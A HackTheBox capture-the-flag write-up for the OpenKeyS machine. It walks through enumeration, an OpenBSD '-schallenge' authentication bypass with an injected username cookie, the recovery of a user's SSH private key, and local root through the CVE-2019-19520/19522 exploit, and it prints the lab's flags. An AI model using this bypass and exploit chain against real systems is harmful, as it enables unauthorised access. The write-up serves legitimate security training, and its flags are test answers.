HackTheBox-Machines-OpenKeyS

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User flag

Services

Nmap discovers 2 services:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.1 (protocol 2.0)
| ssh-hostkey: 
|   3072 5e:ff:81:e9:1f:9b:f8:9a:25:df:5d:82:1a:dd:7a:81 (RSA)
|   256 64:7a:5a:52:85:c5:6d:d5:4a:6b:a7:1a:9a:8a:b9:bb (ECDSA)
|_  256 12:35:4b:6e:23:09:dc:ea:00:8c:72:20:c7:50:32:f3 (ED25519)
80/tcp open  http    OpenBSD httpd
|_http-title: Site doesn't have a title (text/html).

Port 80

Let’s start with HTTP. The main page (http://openkeys.htb/index.php) is an authentication form, and providing common credentials (admin:admin, adm:adm, admin:password) fails.

There is no robots.txt file but enumerating with gobuster reveals the presence of an interesting /includes directory.

[email protected]:/data/OpenKeyS$ gobuster dir -u http://openkeys.htb -w /usr/share/wordlists/dirb/common.txt 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://openkeys.htb
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/09/19 10:30:27 Starting gobuster
===============================================================
/css (Status: 301)
/fonts (Status: 301)
/images (Status: 301)
/includes (Status: 301)
/index.php (Status: 200)
/index.html (Status: 200)
/js (Status: 301)
/vendor (Status: 301)
===============================================================
2020/09/19 10:31:14 Finished
===============================================================

auth.php.swp

The /includes directory allows files listing and reveals the presence of auth.php.swp, which is a vim swap file. Dumping the strings of this file discloses a username: jennifer.

[email protected]:/data/OpenKeyS/files$ strings auth.php.swp | head
b0VIM 8.1
jennifer
openkeys.htb
/var/www/htdocs/includes/auth.php
3210
#"! 
    session_start();
    session_destroy();
    session_unset();
function close_session()

Besides, we can recover its content using vim -r auth.php.swp. Below is the recovered code for auth.php:

<?php

function authenticate($username, $password)
{
    $cmd = escapeshellcmd("../auth_helpers/check_auth " . $username . " " . $password);
    system($cmd, $retcode);
    return $retcode;
}

function is_active_session()
{
    // Session timeout in seconds
    $session_timeout = 300;

    // Start the session
    session_start();

    // Is the user logged in? 
    if(isset($_SESSION["logged_in"]))
    {
        // Has the session expired?
        $time = $_SERVER['REQUEST_TIME'];
        if (isset($_SESSION['last_activity']) && 
            ($time - $_SESSION['last_activity']) > $session_timeout)
        {
            close_session();
            return False;
        }
        else
        {
            // Session is active, update last activity time and return True
            $_SESSION['last_activity'] = $time;
            return True;
        }
    }
    else
    {
        return False;
    }
}

function init_session()
{
    $_SESSION["logged_in"] = True;
    $_SESSION["login_time"] = $_SERVER['REQUEST_TIME'];
    $_SESSION["last_activity"] = $_SERVER['REQUEST_TIME'];
    $_SESSION["remote_addr"] = $_SERVER['REMOTE_ADDR'];
    $_SESSION["user_agent"] = $_SERVER['HTTP_USER_AGENT'];
    $_SESSION["username"] = $_REQUEST['username'];
}

function close_session()
{
    session_unset();
    session_destroy();
    session_start();
}


?>

The PHP script makes use of /auth_helpers/check_auth to authenticate users, and we can download the file (http://openkeys.htb/check_auth), which is an OpenBSD shared object.

[email protected]:/data/OpenKeyS/files$ file check_auth 
check_auth: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /usr/libexec/ld.so, for OpenBSD, not stripped

Bypass the OpenBSD authentication

The target is running OpenBSD, and is vulnerable to an authentication bypass:

“The authentication bypass vulnerability automatically waves through anyone accessing via the password option with the username -schallenge, because the hyphen forces the operating system to interpret the word as a command line option for the program performing the authentication. The -schallenge option automatically grants the user access.” (Source: https://nakedsecurity.sophos.com/2019/12/06/openbsd-devs-patch-authentication-bypass-bug/)

Providing the authentication form with the below credentials allows to bypass the authentication:

  • username: -schallenge
  • password: password

Intercept the request in BurpSuite and append ;username=jennifer to the Cookie string as follows:

POST /index.php HTTP/1.1
Host: openkeys.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://openkeys.htb/index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Connection: close
Cookie: PHPSESSID=0o81sncv41hajou555d6lnfi5q;username=jennifer
Upgrade-Insecure-Requests: 1

username=-schallenge&password=password

Jennifer’s SSH private key

Forward the requests in BurpSuite and you will be redirected to /sshkey.php with Jennifer’s SSH private key:

OpenSSH key for user jennifer

-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
Back to login page

Save the private key as jennifer.key, give it the appropriate privileges (chmod 600 jennifer.key) and connect:

[email protected]:/data/OpenKeyS/files$ ssh -i jennifer.key [email protected]
Last login: Sat Sep 19 10:52:50 2020 from 10.10.17.123
OpenBSD 6.6 (GENERIC) #353: Sat Oct 12 10:45:56 MDT 2019

Welcome to OpenBSD: The proactively secure Unix-like operating system.

Please use the sendbug(1) utility to report bugs in the system.
Before reporting a bug, please try to reproduce it with the latest
version of the code.  With bug reports, please try to ensure that
enough information to reproduce the problem is enclosed, and if a
known fix for it exists, include that as well.

openkeys$ id
uid=1001(jennifer) gid=1001(jennifer) groups=1001(jennifer), 0(wheel)

User flag

The user flag is in Jennifer’s home directory:

openkeys$ cat user.txt
36ab21239a15c537bde90626891d2b10

User flag: 36ab21239a15c537bde90626891d2b10

Root flag

CVE-2019-19520

Using uname -a, we can see that the target is running OpenBSD v6.6.

openkeys$ uname -a                           
OpenBSD openkeys.htb 6.6 GENERIC#353 amd64

Searching for privilege escalation exploits affecting this release of OpenBSD leads to CVE-2019-19520:

“xlock in OpenBSD 6.6 allows local users to gain the privileges of the auth group by providing a LIBGL_DRIVERS_PATH environment variable, because xenocara/lib/mesa/src/loader/loader.c mishandles dlopen.” (Source: https://nvd.nist.gov/vuln/detail/CVE-2019-19520)

An exploit can be downloaded here. Let’s uplaod it to the target:

[email protected]:/data/OpenKeyS/files$ scp -i jennifer.key openbsd-authroot [email protected]:/tmp

And run it on the target:

openkeys$ cd /tmp/
openkeys$ chmod +x openbsd-authroot
openkeys$ ./openbsd-authroot
openbsd-authroot (CVE-2019-19520 / CVE-2019-19522)
[*] checking system ...
[*] system supports S/Key authentication
[*] id: uid=1001(jennifer) gid=1001(jennifer) groups=1001(jennifer), 0(wheel)
[*] compiling ...
[*] running Xvfb ...
[*] testing for CVE-2019-19520 ...
_XSERVTransmkdir: ERROR: euid != 0,directory /tmp/.X11-unix will not be created.
[+] success! we have auth group permissions

WARNING: THIS EXPLOIT WILL DELETE KEYS. YOU HAVE 5 SECONDS TO CANCEL (CTRL+C).

[*] trying CVE-2019-19522 (S/Key) ...
Your password is: EGG LARD GROW HOG DRAG LAIN
otp-md5 99 obsd91335
S/Key Password:
openkeys# id              
uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest)

Root flag

We are now able to get the root flag:

openkeys# cat /root/root.txt
f3a553b1697050ae885e7c02dbfc6efa

Root flag: f3a553b1697050ae885e7c02dbfc6efa

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Keywords: ctf hackthebox HTB openkeys openbsd authentication bypass CVE-2019-19520